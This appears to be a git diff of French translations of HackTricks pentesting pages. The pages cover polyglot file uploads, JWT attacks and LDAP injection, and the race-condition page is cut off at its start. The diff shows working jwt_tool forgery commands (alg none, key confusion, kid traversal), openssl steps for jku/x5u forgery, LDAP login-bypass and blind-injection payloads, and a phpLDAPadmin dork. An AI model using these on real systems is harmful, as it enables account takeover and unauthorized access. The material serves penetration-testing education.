L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Une pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement, tels que JPEG, GIF ou DOC, afin de réduire les risques posés par des formats potentiellement dangereux (par exemple, JS, PHP ou les fichiers Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
|
||||
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Une pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement, tels que JPEG, GIF ou DOC, afin de réduire les risques liés à des formats potentiellement dangereux (par exemple, JS, PHP ou des fichiers Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
|
||||
|
||||
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
|
||||
|
||||
|
@ -327,7 +327,7 @@ Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
|
@ -342,7 +342,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -14,13 +14,13 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Une partie de ce post est basée sur l'excellent post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Une partie de ce post est basée sur le superbe post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Auteur de l'outil génial pour le pentest des JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Gains Rapides**
|
||||
|
@ -41,15 +41,15 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
```
|
||||
### Manipuler les données sans rien modifier
|
||||
|
||||
Vous pouvez simplement manipuler les données en laissant la signature intacte et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple.
|
||||
Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez par exemple de changer votre nom d'utilisateur en "admin".
|
||||
|
||||
#### **Le jeton est-il vérifié?**
|
||||
|
||||
Pour vérifier si la signature d'un JWT est vérifiée :
|
||||
|
||||
* Un message d'erreur suggère une vérification en cours ; les détails sensibles dans les erreurs verbeuses doivent être examinés.
|
||||
* Un changement dans la page renvoyée indique une vérification.
|
||||
* Aucun changement ne suggère aucune vérification ; c'est le moment d'expérimenter en manipulant les revendications de la charge utile.
|
||||
* Un changement dans la page renvoyée indique également une vérification.
|
||||
* Aucun changement ne suggère aucune vérification ; c'est le moment d'expérimenter en altérant les revendications de la charge utile.
|
||||
|
||||
### Origine
|
||||
|
||||
|
@ -62,7 +62,7 @@ Il est important de déterminer si le jeton a été généré côté serveur ou
|
|||
|
||||
Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
|
||||
|
||||
### Brute-force du secret HMAC
|
||||
### Force brute du secret HMAC
|
||||
|
||||
[**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
|
@ -70,7 +70,7 @@ Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il
|
|||
|
||||
Définissez l'algorithme utilisé comme "None" et supprimez la partie signature.
|
||||
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token" vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
|
||||
|
||||
### Changer l'algorithme de RS256(asymétrique) à HS256(symétrique) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
@ -79,7 +79,7 @@ L'algorithme RS256 utilise la clé privée pour signer le message et utilise la
|
|||
|
||||
Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature.
|
||||
|
||||
Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :
|
||||
Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web exécutant ceci :
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -93,12 +93,12 @@ Cela peut être fait avec l'extension Burp "JSON Web Tokens".\
|
|||
|
||||
### Contrefaçon de JWKS
|
||||
|
||||
Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication devrait être liée à un fichier JWKS (Jeu de clés Web JSON) contenant la clé publique nécessaire à la vérification du jeton.
|
||||
Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication devrait être liée à un fichier JWKS (JSON Web Key Set) contenant la clé publique nécessaire à la vérification du jeton.
|
||||
|
||||
* **Évaluation des jetons avec l'en-tête "jku"**:
|
||||
* Vérifiez l'URL de la revendication "jku" pour vous assurer qu'elle mène au fichier JWKS approprié.
|
||||
* Modifiez la valeur "jku" du jeton pour diriger vers un service web contrôlé, permettant l'observation du trafic.
|
||||
* **Surveillance des interactions HTTP**:
|
||||
* **Surveillance de l'interaction HTTP**:
|
||||
* Observer les requêtes HTTP vers l'URL spécifiée indique les tentatives du serveur pour récupérer les clés à partir du lien fourni.
|
||||
* Lors de l'utilisation de `jwt_tool` pour ce processus, il est crucial de mettre à jour le fichier `jwtconf.ini` avec l'emplacement de votre JWKS personnel pour faciliter les tests.
|
||||
* **Commande pour `jwt_tool`**:
|
||||
|
@ -122,7 +122,7 @@ La revendication `kid` peut également être exploitée pour naviguer à travers
|
|||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
En ciblant des fichiers avec un contenu prévisible, il est possible de falsifier un JWT valide. Par exemple, le fichier `/proc/sys/kernel/randomize_va_space` dans les systèmes Linux, connu pour contenir la valeur **2**, peut être utilisé dans le paramètre `kid` avec **2** comme mot de passe symétrique pour la génération de JWT.
|
||||
En ciblant des fichiers avec un contenu prévisible, il est possible de falsifier un JWT valide. Par exemple, le fichier `/proc/sys/kernel/randomize_va_space` dans les systèmes Linux, connu pour contenir la valeur **2**, peut être utilisé dans le paramètre `kid` avec **2** comme mot de passe symétrique pour la génération du JWT.
|
||||
|
||||
#### Injection SQL via "kid"
|
||||
|
||||
|
@ -143,7 +143,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan
|
|||
#### jku
|
||||
|
||||
jku signifie **URL de jeu de clés JWK**.\
|
||||
Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web pour lequel vous pouvez surveiller le trafic.
|
||||
Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
|
||||
|
||||
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
|
||||
```bash
|
||||
|
@ -164,7 +164,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807. La sécurité du transport est requise pour transférer les certificats.
|
||||
X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807. Une sécurité de transport est requise pour transférer les certificats.
|
||||
|
||||
Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
|
||||
|
||||
|
@ -173,7 +173,7 @@ Pour falsifier un nouveau jeton en utilisant un certificat contrôlé par vous,
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé**.
|
||||
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.**
|
||||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
|
||||
|
@ -206,7 +206,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature :
|
||||
Il est possible de générer une nouvelle clé privée/publique, incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature :
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -237,11 +237,11 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000
|
|||
|
||||
Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email devrait être investiguée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté.
|
||||
|
||||
* Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce est nécessaire, car cela pourrait entrer dans une zone grise légale.
|
||||
* Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce, car cela pourrait entrer dans une zone grise légale.
|
||||
|
||||
**Vérification de l'expiration des jetons**
|
||||
|
||||
L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande de mitiger les attaques de rejouement JWT en utilisant la revendication "exp" pour définir une heure d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool.
|
||||
L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande de mitiger les attaques de rejouer JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool.
|
||||
|
||||
* Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer.
|
||||
|
||||
|
@ -264,7 +264,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,17 +8,17 @@
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -32,7 +32,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut potentiellement entraîner un accès non autorisé ou une manipulation de données.
|
||||
**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation des données.
|
||||
|
||||
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
||||
|
||||
|
@ -74,7 +74,7 @@ Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celu
|
|||
|
||||
### Contournement de connexion
|
||||
|
||||
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, peu importe ce que vous insérez dans le mot de passe, il est peut-être haché.
|
||||
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, peu importe ce que vous insérez dans le mot de passe, il peut être haché.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -137,7 +137,7 @@ password=any
|
|||
|
||||
### Injection LDAP Aveugle
|
||||
|
||||
Vous pouvez forcer de fausses réponses ou vraies pour vérifier si des données sont renvoyées et confirmer une possible Injection LDAP Aveugle:
|
||||
Vous pouvez forcer de fausses ou vraies réponses pour vérifier si des données sont renvoyées et confirmer une possible Injection LDAP Aveugle:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
|
@ -162,8 +162,6 @@ Vous pouvez itérer sur les lettres ASCII, les chiffres et les symboles :
|
|||
(&(sn=administrator)(password=MB*)) : KO
|
||||
...
|
||||
```
|
||||
### Scripts
|
||||
|
||||
#### **Découvrir les champs LDAP valides**
|
||||
|
||||
Les objets LDAP **contiennent par défaut plusieurs attributs** qui pourraient être utilisés pour **sauvegarder des informations**. Vous pouvez essayer de **forcer tous ces attributs pour extraire ces informations**. Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
|
@ -217,7 +215,7 @@ break
|
|||
```
|
||||
### Google Dorks
|
||||
|
||||
### Astuces Google
|
||||
### Dorks Google
|
||||
```bash
|
||||
intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
|
@ -225,21 +223,21 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui à :
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -12,12 +12,12 @@ Accédez dès aujourd'hui à :
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -34,20 +34,21 @@ Voici quelques techniques pour synchroniser les requêtes :
|
|||
|
||||
#### Attaque en un seul paquet HTTP/2 vs Synchronisation du dernier octet HTTP/1.1
|
||||
|
||||
- **HTTP/2** : prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter du réseau. Cependant, en raison de variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course.
|
||||
- **HTTP/1.1 'Synchronisation du dernier octet'** : permet l'envoi préalable de la plupart des parties de 20 à 30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant une arrivée simultanée au serveur.
|
||||
